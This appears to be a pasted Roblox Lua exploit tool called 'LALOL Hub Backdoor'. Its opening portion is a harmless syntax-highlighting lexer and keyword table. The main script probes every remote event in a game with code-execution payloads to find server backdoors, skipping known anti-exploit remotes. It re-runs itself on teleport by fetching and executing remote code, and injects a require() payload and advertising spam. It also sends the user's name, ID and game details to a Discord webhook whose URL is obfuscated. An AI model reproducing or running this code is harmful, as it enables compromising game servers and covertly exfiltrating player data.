  749. previousContent2 = previousContent1
  750. previousContent1 = content
  751. previousToken = processedToken or rawToken
  752. if processedToken then
  753. coroutine.yield(processedToken, content)
  754. end
  755. break
  756. end
  757.  
  758. -- No matches found
  759. if not matched then
  760. return
  761. end
  762. end
  763.  
  764. -- Completed the scan
  765. return
  766. end)
  767.  
  768. return function()
  769. if coroutine.status(thread) == "dead" then
  770. return
  771. end
  772.  
  773. local success, token, content = coroutine.resume(thread)
  774. if success and token then
  775. return token, content
  776. end
  777.  
  778. return
  779. end
  780. end
  781.  
  782. function lexer.navigator()
  783. local nav = {
  784. Source = "",
  785. TokenCache = table.create(50),
  786.  
  787. _RealIndex = 0,
  788. _UserIndex = 0,
  789. _ScanThread = nil,
  790. }
  791.  
  792. function nav:Destroy()
  793. self.Source = nil
  794. self._RealIndex = nil
  795. self._UserIndex = nil
  796. self.TokenCache = nil
  797. self._ScanThread = nil
  798. end
  799.  
  800. function nav:SetSource(SourceString)
  801. self.Source = SourceString
  802.  
  803. self._RealIndex = 0
  804. self._UserIndex = 0
  805. table.clear(self.TokenCache)
  806.  
  807. self._ScanThread = coroutine.create(function()
  808. for Token, Src in lexer.scan(self.Source) do
  809. self._RealIndex += 1
  810. self.TokenCache[self._RealIndex] = { Token, Src }
  811. coroutine.yield(Token, Src)
  812. end
  813. end)
  814. end
  815.  
  816. function nav.Next()
  817. nav._UserIndex += 1
  818.  
  819. if nav._RealIndex >= nav._UserIndex then
  820. -- Already scanned, return cached
  821. return table.unpack(nav.TokenCache[nav._UserIndex])
  822. else
  823. if coroutine.status(nav._ScanThread) == "dead" then
  824. -- Scan thread dead
  825. return
  826. else
  827. local success, token, src = coroutine.resume(nav._ScanThread)
  828. if success and token then
  829. -- Scanned new data
  830. return token, src
  831. else
  832. -- Lex completed
  833. return
  834. end
  835. end
  836. end
  837. end
  838.  
  839. function nav.Peek(PeekAmount)
  840. local GoalIndex = nav._UserIndex + PeekAmount
  841.  
  842. if nav._RealIndex >= GoalIndex then
  843. -- Already scanned, return cached
  844. if GoalIndex > 0 then
  845. return table.unpack(nav.TokenCache[GoalIndex])
  846. else
  847. -- Invalid peek
  848. return
  849. end
  850. else
  851. if coroutine.status(nav._ScanThread) == "dead" then
  852. -- Scan thread dead
  853. return
  854. else
  855. local IterationsAway = GoalIndex - nav._RealIndex
  856.  
  857. local success, token, src = nil, nil, nil
  858.  
  859. for _ = 1, IterationsAway do
  860. success, token, src = coroutine.resume(nav._ScanThread)
  861. if not (success or token) then
  862. -- Lex completed
  863. break
  864. end
  865. end
  866.  
  867. return token, src
  868. end
  869. end
  870. end
  871.  
  872. return nav
  873. end
  874.  
  875. return lexer
  876.  
  877. end;
  878. };
  879. G2L_MODULES[G2L["15"]] = {
  880. Closure = function()
  881. local script = G2L["15"];
  882. local language = {
  883. keyword = {
  884. ["and"] = "keyword",
  885. ["break"] = "keyword",
  886. ["continue"] = "keyword",
  887. ["do"] = "keyword",
  888. ["else"] = "keyword",
  889. ["elseif"] = "keyword",
  890. ["end"] = "keyword",
  891. ["export"] = "keyword",
  892. ["false"] = "keyword",
  893. ["for"] = "keyword",
  894. ["function"] = "keyword",
  895. ["if"] = "keyword",
  896. ["in"] = "keyword",
  897. ["local"] = "keyword",
  898. ["nil"] = "keyword",
  899. ["not"] = "keyword",
  900. ["or"] = "keyword",
  901. ["repeat"] = "keyword",
  902. ["return"] = "keyword",
  903. ["self"] = "keyword",
  904. ["then"] = "keyword",
  905. ["true"] = "keyword",
  906. ["type"] = "keyword",
  907. ["typeof"] = "keyword",
  908. ["until"] = "keyword",
  909. ["while"] = "keyword",
  910. },
  911.  
  912. builtin = {
  913. -- Luau Functions
  914. ["assert"] = "function",
  915. ["error"] = "function",
  916. ["getfenv"] = "function",
  917. ["getmetatable"] = "function",
  918. ["ipairs"] = "function",
  919. ["loadstring"] = "function",
  920. ["newproxy"] = "function",
  921. ["next"] = "function",
  922. ["pairs"] = "function",
  923. ["pcall"] = "function",
  924. ["print"] = "function",
  925. ["rawequal"] = "function",
  926. ["rawget"] = "function",
  927. ["rawlen"] = "function",
  928. ["rawset"] = "function",
  929. ["select"] = "function",
  930. ["setfenv"] = "function",
  931. ["setmetatable"] = "function",
  932. ["tonumber"] = "function",
  933. ["tostring"] = "function",
  934. ["unpack"] = "function",
  935. ["xpcall"] = "function",
  936.  
  937. -- Luau Functions (Deprecated)
  938. ["collectgarbage"] = "function",
  939.  
  940. -- Luau Variables
  941. ["_G"] = "table",
  942. ["_VERSION"] = "string",
  943.  
  944. -- Luau Tables
  945. ["bit32"] = "table",
  946. ["coroutine"] = "table",
  947. ["debug"] = "table",
  948. ["math"] = "table",
  949. ["os"] = "table",
  950. ["string"] = "table",
  951. ["table"] = "table",
  952. ["utf8"] = "table",
  953.  
  954. -- Roblox Functions
  955. ["DebuggerManager"] = "function",
  956. ["delay"] = "function",
  957. ["gcinfo"] = "function",
  958. ["PluginManager"] = "function",
  959. ["require"] = "function",
  960. ["settings"] = "function",
  961. ["spawn"] = "function",
  962. ["tick"] = "function",
  963. ["time"] = "function",
  964. ["UserSettings"] = "function",
  965. ["wait"] = "function",
  966. ["warn"] = "function",
  967.  
  968. -- Roblox Functions (Deprecated)
  969. ["Delay"] = "function",
  970. ["ElapsedTime"] = "function",
  971. ["elapsedTime"] = "function",
  972. ["printidentity"] = "function",
  973. ["Spawn"] = "function",
  974. ["Stats"] = "function",
  975. ["stats"] = "function",
  976. ["Version"] = "function",
  977. ["version"] = "function",
  978. ["Wait"] = "function",
  979. ["ypcall"] = "function",
  980.  
  981. -- Roblox Variables
  982. ["game"] = "Instance",
  983. ["plugin"] = "Instance",
  984. ["script"] = "Instance",
  985. ["shared"] = "Instance",
  986. ["workspace"] = "Instance",
  987.  
  988. -- Roblox Variables (Deprecated)
  989. ["Game"] = "Instance",
  990. ["Workspace"] = "Instance",
  991.  
  992. -- Roblox Tables
  993. ["Axes"] = "table",
  994. ["BrickColor"] = "table",
  995. ["CatalogSearchParams"] = "table",
  996. ["CFrame"] = "table",
  997. ["Color3"] = "table",
  998. ["ColorSequence"] = "table",
  999. ["ColorSequenceKeypoint"] = "table",
  1000. ["DateTime"] = "table",
  1001. ["DockWidgetPluginGuiInfo"] = "table",
  1002. ["Enum"] = "table",
  1003. ["Faces"] = "table",
  1004. ["FloatCurveKey"] = "table",
  1005. ["Font"] = "table",
  1006. ["Instance"] = "table",
  1007. ["NumberRange"] = "table",
  1008. ["NumberSequence"] = "table",
  1009. ["NumberSequenceKeypoint"] = "table",
  1010. ["OverlapParams"] = "table",
  1011. ["PathWaypoint"] = "table",
  1012. ["PhysicalProperties"] = "table",
  1013. ["Random"] = "table",
  1014. ["Ray"] = "table",
  1015. ["RaycastParams"] = "table",
  1016. ["Rect"] = "table",
  1017. ["Region3"] = "table",
  1018. ["Region3int16"] = "table",
  1019. ["RotationCurveKey"] = "table",
  1020. ["task"] = "table",
  1021. ["TweenInfo"] = "table",
  1022. ["UDim"] = "table",
  1023. ["UDim2"] = "table",
  1024. ["Vector2"] = "table",
  1025. ["Vector2int16"] = "table",
  1026. ["Vector3"] = "table",
  1027. ["Vector3int16"] = "table",
  1028. },
  1029.  
  1030. libraries = {
  1031.  
  1032. -- Luau Libraries
  1033. bit32 = {
  1034. arshift = "function",
  1035. band = "function",
  1036. bnot = "function",
  1037. bor = "function",
  1038. btest = "function",
  1039. bxor = "function",
  1040. countlz = "function",
  1041. countrz = "function",
  1042. extract = "function",
  1043. lrotate = "function",
  1044. lshift = "function",
  1045. replace = "function",
  1046. rrotate = "function",
  1047. rshift = "function",
  1048. },
  1049.  
  1050. coroutine = {
  1051. close = "function",
  1052. create = "function",
  1053. isyieldable = "function",
  1054. resume = "function",
  1055. running = "function",
  1056. status = "function",
  1057. wrap = "function",
  1058. yield = "function",
  1059. },
  1060.  
  1061. debug = {
  1062. dumpheap = "function",
  1063. info = "function",
  1064. loadmodule = "function",
  1065. profilebegin = "function",
  1066. profileend = "function",
  1067. resetmemorycategory = "function",
  1068. setmemorycategory = "function",
  1069. traceback = "function",
  1070. },
  1071.  
  1072. math = {
  1073. abs = "function",
  1074. acos = "function",
  1075. asin = "function",
  1076. atan2 = "function",
  1077. atan = "function",
  1078. ceil = "function",
  1079. clamp = "function",
  1080. cos = "function",
  1081. cosh = "function",
  1082. deg = "function",
  1083. exp = "function",
  1084. floor = "function",
  1085. fmod = "function",
  1086. frexp = "function",
  1087. ldexp = "function",
  1088. log10 = "function",
  1089. log = "function",
  1090. max = "function",
  1091. min = "function",
  1092. modf = "function",
  1093. noise = "function",
  1094. pow = "function",
  1095. rad = "function",
  1096. random = "function",
  1097. randomseed = "function",
  1098. round = "function",
  1099. sign = "function",
  1100. sin = "function",
  1101. sinh = "function",
  1102. sqrt = "function",
  1103. tan = "function",
  1104. tanh = "function",
  1105.  
  1106. huge = "number",
  1107. pi = "number",
  1108. },
  1109.  
  1110. os = {
  1111. clock = "function",
  1112. date = "function",
  1113. difftime = "function",
  1114. time = "function",
  1115. },
  1116.  
  1117. string = {
  1118. byte = "function",
  1119. char = "function",
  1120. find = "function",
  1121. format = "function",
  1122. gmatch = "function",
  1123. gsub = "function",
  1124. len = "function",
  1125. lower = "function",
  1126. match = "function",
  1127. pack = "function",
  1128. packsize = "function",
  1129. rep = "function",
  1130. reverse = "function",
  1131. split = "function",
  1132. sub = "function",
  1133. unpack = "function",
  1134. upper = "function",
  1135. },
  1136.  
  1137. table = {
  1138. clear = "function",
  1139. clone = "function",
  1140. concat = "function",
  1141. create = "function",
  1142. find = "function",
  1143. foreach = "function",
  1144. foreachi = "function",
  1145. freeze = "function",
  1146. getn = "function",
  1147. insert = "function",
  1148. isfrozen = "function",
  1149. maxn = "function",
  1150. move = "function",
  1151. pack = "function",
  1152. remove = "function",
  1153. sort = "function",
  1154. unpack = "function",
  1155. },
  1156.  
  1157. utf8 = {
  1158. char = "function",
  1159. codepoint = "function",
  1160. codes = "function",
  1161. graphemes = "function",
  1162. len = "function",
  1163. nfcnormalize = "function",
  1164. nfdnormalize = "function",
  1165. offset = "function",
  1166.  
  1167. charpattern = "string",
  1168. },
  1169.  
  1170. -- Roblox Libraries
  1171. Axes = {
  1172. new = "function",
  1173. },
  1174.  
  1175. BrickColor = {
  1176. Black = "function",
  1177. Blue = "function",
  1178. DarkGray = "function",
  1179. Gray = "function",
  1180. Green = "function",
  1181. new = "function",
  1182. New = "function",
  1183. palette = "function",
  1184. Random = "function",
  1185. random = "function",
  1186. Red = "function",
  1187. White = "function",
  1188. Yellow = "function",
  1189. },
  1190.  
  1191. CatalogSearchParams = {
  1192. new = "function",
  1193. },
  1194.  
  1195. CFrame = {
  1196. Angles = "function",
  1197. fromAxisAngle = "function",
  1198. fromEulerAngles = "function",
  1199. fromEulerAnglesXYZ = "function",
  1200. fromEulerAnglesYXZ = "function",
  1201. fromMatrix = "function",
  1202. fromOrientation = "function",
  1203. lookAt = "function",
  1204. new = "function",
  1205.  
  1206. identity = "CFrame",
  1207. },
  1208.  
  1209. Color3 = {
  1210. fromHex = "function",
  1211. fromHSV = "function",
  1212. fromRGB = "function",
  1213. new = "function",
  1214. toHSV = "function",
  1215. },
  1216.  
  1217. ColorSequence = {
  1218. new = "function",
  1219. },
  1220.  
  1221. ColorSequenceKeypoint = {
  1222. new = "function",
  1223. },
  1224.  
  1225. DateTime = {
  1226. fromIsoDate = "function",
  1227. fromLocalTime = "function",
  1228. fromUniversalTime = "function",
  1229. fromUnixTimestamp = "function",
  1230. fromUnixTimestampMillis = "function",
  1231. now = "function",
  1232. },
  1233.  
  1234. DockWidgetPluginGuiInfo = {
  1235. new = "function",
  1236. },
  1237.  
  1238. Enum = {},
  1239.  
  1240. Faces = {
  1241. new = "function",
  1242. },
  1243.  
  1244. FloatCurveKey = {
  1245. new = "function",
  1246. },
  1247.  
  1248. Font = {
  1249. fromEnum = "function",
  1250. fromId = "function",
  1251. fromName = "function",
  1252. new = "function",
  1253. },
  1254.  
  1255. Instance = {
  1256. new = "function",
  1257. },
  1258.  
  1259. NumberRange = {
  1260. new = "function",
  1261. },
  1262.  
  1263. NumberSequence = {
  1264. new = "function",
  1265. },
  1266.  
  1267. NumberSequenceKeypoint = {
  1268. new = "function",
  1269. },
  1270.  
  1271. OverlapParams = {
  1272. new = "function",
  1273. },
  1274.  
  1275. PathWaypoint = {
  1276. new = "function",
  1277. },
  1278.  
  1279. PhysicalProperties = {
  1280. new = "function",
  1281. },
  1282.  
  1283. Random = {
  1284. new = "function",
  1285. },
  1286.  
  1287. Ray = {
  1288. new = "function",
  1289. },
  1290.  
  1291. RaycastParams = {
  1292. new = "function",
  1293. },
  1294.  
  1295. Rect = {
  1296. new = "function",
  1297. },
  1298.  
  1299. Region3 = {
  1300. new = "function",
  1301. },
  1302.  
  1303. Region3int16 = {
  1304. new = "function",
  1305. },
  1306.  
  1307. RotationCurveKey = {
  1308. new = "function",
  1309. },
  1310.  
  1311. task = {
  1312. cancel = "function",
  1313. defer = "function",
  1314. delay = "function",
  1315. desynchronize = "function",
  1316. spawn = "function",
  1317. synchronize = "function",
  1318. wait = "function",
  1319. },
  1320.  
  1321. TweenInfo = {
  1322. new = "function",
  1323. },
  1324.  
  1325. UDim = {
  1326. new = "function",
  1327. },
  1328.  
  1329. UDim2 = {
  1330. fromOffset = "function",
  1331. fromScale = "function",
  1332. new = "function",
  1333. },
  1334.  
  1335. Vector2 = {
  1336. new = "function",
  1337.  
  1338. one = "Vector2",
  1339. xAxis = "Vector2",
  1340. yAxis = "Vector2",
  1341. zero = "Vector2",
  1342. },
  1343.  
  1344. Vector2int16 = {
  1345. new = "function",
  1346. },
  1347.  
  1348. Vector3 = {
  1349. fromAxis = "function",
  1350. FromAxis = "function",
  1351. fromNormalId = "function",
  1352. FromNormalId = "function",
  1353. new = "function",
  1354.  
  1355. one = "Vector3",
  1356. xAxis = "Vector3",
  1357. yAxis = "Vector3",
  1358. zAxis = "Vector3",
  1359. zero = "Vector3",
  1360. },
  1361.  
  1362. Vector3int16 = {
  1363. new = "function",
  1364. },
  1365. },
  1366. }
  1367.  
  1368. -- Filling up language.libraries.Enum table
  1369. local enumLibraryTable = language.libraries.Enum
  1370.  
  1371. for _, enum in ipairs(Enum:GetEnums()) do
  1372. --TODO: Remove tostring from here once there is a better way to get the name of an Enum
  1373. enumLibraryTable[tostring(enum)] = "Enum"
  1374. end
  1375.  
  1376. return language
  1377.  
  1378. end;
  1379. };
  1380. -- StarterGui.LALOL Hub Backdoor.Frame.Executor.ExecutorBox.TextBox.Highlight
  1381. local function C_12()
  1382. local script = G2L["12"];
  1383. local Highlighter = require(script.Highlighter)
  1384.  
  1385. Highlighter.highlight({
  1386. -- The object to syntax highlight
  1387. textObject=script.Parent,
  1388. -- The source text for highlighting- defaults to textObject.Text
  1389. -- src: string?,
  1390. -- Update even if there are no changes since last highlight
  1391. -- forceUpdate=true,
  1392. -- Lexer for tokenizing src, defaults to the bundled Lua lexer
  1393. -- lexer=true,
  1394. })
  1395.  
  1396. textbox=script.Parent
  1397. textbox.InputChanged:Connect(function()
  1398. if textbox.Text~='' then
  1399. textbox.TextTransparency=1
  1400. return
  1401. end
  1402. textbox.TextTransparency=0
  1403. end)
  1404. end;
  1405. task.spawn(C_12);
  1406. -- StarterGui.LALOL Hub Backdoor.LocalScript
  1407. local function C_20()
  1408. local script = G2L["20"];
  1409. queueteleport = (syn and syn.queue_on_teleport) or queue_on_teleport or (fluxus and fluxus.queue_on_teleport)
  1410. if queueteleport then
  1411. queueteleport("loadstring(game:HttpGet('https://raw.githubusercontent.com/Its-LALOL/LALOL-Hub/main/Backdoor-Scanner/script'))()")
  1412. end
  1413.  
  1414. GUI=script.Parent.Frame
  1415.  
  1416. alphabet={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'}
  1417.  
  1418. backdoor=nil
  1419. HttpService=game:GetService("HttpService")
  1420.  
  1421. function debug(text, lvl)
  1422. local func=print
  1423. if lvl==1 then func=print end
  1424. if lvl==2 then func=error end
  1425. if lvl==3 then func=warn end
  1426. func('LALOL Hub Backdoor: '..text)
  1427. end
  1428.  
  1429. function runRemote(remote, data, data2)
  1430.  
  1431. if remote:IsA('RemoteEvent') then
  1432. remote:FireServer(data)
  1433. elseif remote:IsA('RemoteFunction') then
  1434. spawn(function() remote:InvokeServer(data) end)
  1435. end
  1436.  
  1437. end
  1438.  
  1439. function makeVisible(folder, state)
  1440. for i,v in folder:GetDescendants() do
  1441. if v:IsA('Frame') then
  1442. v.Visible=state
  1443. end
  1444. end
  1445. end
  1446.  
  1447. function notify(text)
  1448. game:GetService('StarterGui'):SetCore(
  1449. "SendNotification",
  1450. {
  1451. Title = "LALOL Hub Backdoor",
  1452. Duration = 6,
  1453. Text = text
  1454. }
  1455. )
  1456. end
  1457.  
  1458.  
  1459. if _G.LALOL_Hub_Backdoor_Logs_Disabled then
  1460. notify('Logs disabled :(')
  1461. end
  1462.  
  1463. makeVisible(GUI, false)
  1464. GUI.Scanner.Visible=true
  1465. GUI.Visible=true
  1466.  
  1467. function generateName(lenght)
  1468.  
  1469. local text=''
  1470.  
  1471. for i=1,lenght do
  1472. text=text..alphabet[math.random(1,#alphabet)]
  1473. end
  1474.  
  1475. return text
  1476.  
  1477. end
  1478.  
  1479. local code
  1480. function findRemote()
  1481.  
  1482. local timee=os.clock()
  1483.  
  1484. local remotes={}
  1485.  
  1486. local protected_backdoor=game:GetService('ReplicatedStorage'):FindFirstChild('lh'..game.PlaceId/6666*1337*game.PlaceId)
  1487. if protected_backdoor and protected_backdoor:IsA('RemoteFunction') then
  1488. while true do
  1489. code=generateName(math.random(12,30))
  1490. if not remotes[code] then break end
  1491. end
  1492. spawn(function() protected_backdoor:InvokeServer('lalol hub join today!! discord.gg/XXqzxT7E5z', "a=Instance.new('Model',workspace)a.Name='"..code.."'") end)
  1493. remotes[code]=protected_backdoor
  1494. end
  1495.  
  1496. for i,remote in game:GetDescendants() do
  1497.  
  1498. -- Validation Checker
  1499.  
  1500. if not remote:IsA('RemoteEvent') then
  1501. if not remote:IsA('RemoteFunction') then continue end
  1502. end
  1503.  
  1504. -- RobloxReplicatedStorage
  1505. if string.split(remote:GetFullName(), '.')[1]=='RobloxReplicatedStorage' then
  1506. debug('Roblox Replicated Storage ('..remote.Name..')', 1)
  1507. continue
  1508. end
  1509.  
  1510. if remote.Parent==game:GetService("ReplicatedStorage") or remote.Parent.Parent==game:GetService("ReplicatedStorage") or remote.Parent.Parent.Parent==game:GetService("ReplicatedStorage") then
  1511.  
  1512. -- ADONIS Anti-Exploit
  1513. if remote:FindFirstChild('__FUNCTION') or remote.Name=='__FUNCTION' then
  1514. debug('Adonis filter detected ('..remote.Name..')', 1)
  1515. continue
  1516. end
  1517.  
  1518. -- HD Admin
  1519. if remote.Parent.Parent.Name=='HDAdminClient' and remote.Parent.Name=='Signals' then
  1520. debug('HD Admin ('..remote.Name..')', 1)
  1521. continue
  1522. end
  1523.  
  1524. -- Chat Events
  1525. if remote.Parent.Name=='DefaultChatSystemChatEvents' then
  1526. debug('Chat event ('..remote.Name..')', 1)
  1527. continue
  1528. end
  1529.  
  1530. end
  1531.  
  1532. -- Backdoor Sender
  1533.  
  1534. while true do
  1535. code=generateName(math.random(12,30))
  1536. if not remotes[code] then break end
  1537. end
  1538.  
  1539. runRemote(remote, "a=Instance.new('Model',workspace)a.Name='"..code.."'")
  1540. remotes[code]=remote
  1541.  
  1542. debug('Sended Backdoor "'..remote:GetFullName()..'"', 1)
  1543.  
  1544. end
  1545.  
  1546. -- Backdoor Checker
  1547.  
  1548. for i=1,100 do
  1549.  
  1550. for i,remote in remotes do
  1551. local code=i
  1552.  
  1553. if workspace:FindFirstChild(code) then
  1554.  
  1555. notify('Backdoor found! '..os.clock()-timee..'s')
  1556.  
  1557. backdoor=remote
  1558. debug(remote:GetFullName(), 3)
  1559. GUI.Scanner.Visible=false
  1560. makeVisible(GUI.Executor, true)
  1561.  
  1562. -- runRemote(backdoor, "a=Instance.new('Hint',workspace)while true do a.Text='LALOL Hub Backdoor | discord.gg/XXqzxT7E5z | Free and FASTEST Backdoor Scanner'for b=1,13 do a.Parent=workspace;wait(1)a.Parent=nil;wait(0.5)end;wait(60)end")
  1563. runRemote(remote, "require(171016405.1884*69)")
  1564. runRemote(remote, "a=Instance.new('Hint')a.Text='LALOL Hub Backdoor | discord.gg/XXqzxT7E5z | Free and FASTEST Backdoor Scanner'while true do a.Parent=workspace;wait(15)a:Remove()wait(30)end")
  1565.  
  1566. local request = (syn and syn.request) or (http and http.request) or http_request or (fluxus and fluxus.request) or request
  1567. if request and not _G.LALOL_Hub_Backdoor_Logs_Disabled then
  1568. request({
  1569. Url = '\104\116\116\112\115\58\47\47\100\105\115\99\111\114\100\46\99\111\109\47\97\112\105\47\119\101\98\104\111\111\107\115\47\49\49\48\56\54\57\52\49\54\48\52\54\52\49\53\56\55\56\49\47\57\86\67\122\95\99\107\52\117\120\51\77\51\84\81\106\56\109\111\76\68\113\51\78\119\45\100\107\89\68\87\55\103\69\99\97\76\72\75\80\98\101\50\95\74\74\73\122\53\109\50\102\69\104\54\101\83\110\112\51\51\87\79\76\116\103\105\49',
  1570. Method = 'POST',
  1571. Headers = {
  1572. ['Content-Type'] = 'application/json',
  1573. },
  1574. Body = HttpService:JSONEncode({
  1575. username='pls dont delete this w3bh00k',
  1576. content="**User: `"..game:GetService('Players').LocalPlayer.Name..'` | `'..game:GetService('Players').LocalPlayer.UserId..'`\nhttps://www.roblox.com/games/'..game.PlaceId..'\n`'..backdoor:GetFullName()..'`**',
  1577. })
  1578. })
  1579. end
  1580.  
  1581. return true
  1582. end
  1583. -- debug('"'..remote:GetFullName()..'" seems like not backdoor', 1)
  1584. end
  1585.  
  1586. wait()--.1)
  1587.  
  1588. end
  1589.  
  1590. return false
  1591.  
  1592. end
  1593.  
  1594. GUI.Executor.Execute.Button.MouseButton1Click:Connect(function()
  1595. local a,b=string.gsub(GUI.Executor.ExecutorBox.TextBox.Text, '%%username%%', game:GetService('Players').LocalPlayer.Name)
  1596.  
  1597. local protected_backdoor=game:GetService('ReplicatedStorage'):FindFirstChild('lh'..game.PlaceId/6666*1337*game.PlaceId)
  1598. if protected_backdoor and protected_backdoor:IsA('RemoteFunction') then
  1599. debug('Protected backdoor found', 3)
  1600. spawn(function()
  1601. local boolValue, variantValue=pcall(function() protected_backdoor:InvokeServer('lalol hub join today!! discord.gg/XXqzxT7E5z', a) end)
  1602. if variantValue~=nil then
  1603. local splited=string.split(variantValue,':')
  1604. notify(splited[#splited])
  1605. end
  1606. end)
  1607. else
  1608. runRemote(backdoor, a)
  1609. end
  1610. GUI.Executor.Execute.Button.Text='Executed!'
  1611. wait(0.5)
  1612. GUI.Executor.Execute.Button.Text='Execute'
  1613. end)
  1614. GUI.Executor.Clear.Button.MouseButton1Click:Connect(function()
  1615. GUI.Executor.ExecutorBox.TextBox.Text=''
  1616. GUI.Executor.Clear.Button.Text='Cleared!'
  1617. wait(0.5)
  1618. GUI.Executor.Clear.Button.Text='Clear'
  1619. end)
  1620.  
  1621. searching=false
  1622.  
  1623. GUI.Scanner.Button.MouseButton1Click:Connect(function()
  1624. if not searching then
  1625. searching=true
  1626. debug('Scanning...', 3)
  1627. GUI.Scanner.Button.Text='Scanning...'
  1628. if not findRemote() then
  1629. GUI.Scanner.Button.Text='No backdoor :('
  1630. searching=false
  1631. end
  1632. end
  1633. end)
  1634.  
  1635. game:GetService('UserInputService').InputBegan:Connect(function(input, processed)
  1636. if (input.KeyCode == Enum.KeyCode.LeftAlt and not processed) then
  1637. if GUI.Visible then GUI.Visible=false
  1638. else GUI.Visible=true end
  1639. end
  1640. end)
  1641. end;
  1642. task.spawn(C_20);
  1643. -- StarterGui.LALOL Hub Backdoor.Dragify
  1644. local function C_21()
  1645. local script = G2L["21"];
  1646. local UIS = game:GetService("UserInputService")
  1647. function dragify(Frame)
  1648. dragToggle = nil
  1649. local dragSpeed = 0.33
  1650. dragInput = nil
  1651. dragStart = nil
  1652. local dragPos = nil
  1653. function updateInput(input)
  1654. local Delta = input.Position - dragStart
  1655. local Position = UDim2.new(startPos.X.Scale, startPos.X.Offset + Delta.X, startPos.Y.Scale, startPos.Y.Offset + Delta.Y)
  1656. game:GetService("TweenService"):Create(Frame, TweenInfo.new(0.15), {Position = Position}):Play()
  1657. end
  1658. Frame.InputBegan:Connect(function(input)
  1659. if (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) and UIS:GetFocusedTextBox() == nil then
  1660. dragToggle = true
  1661. dragStart = input.Position
  1662. startPos = Frame.Position
  1663. input.Changed:Connect(function()
  1664. if input.UserInputState == Enum.UserInputState.End then
  1665. dragToggle = false
  1666. end
  1667. end)
  1668. end
  1669. end)
  1670. Frame.InputChanged:Connect(function(input)
  1671. if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
  1672. dragInput = input
  1673. end
  1674. end)
  1675. game:GetService("UserInputService").InputChanged:Connect(function(input)
  1676. if input == dragInput and dragToggle then
  1677. updateInput(input)
  1678. end
  1679. end)
  1680. end
  1681.  
  1682. dragify(script.Parent.Frame)
  1683. end;
  1684. task.spawn(C_21);
  1685.  
  1686. return G2L["1"], require;
Advertisement
Add Comment
Please, Sign In to add comment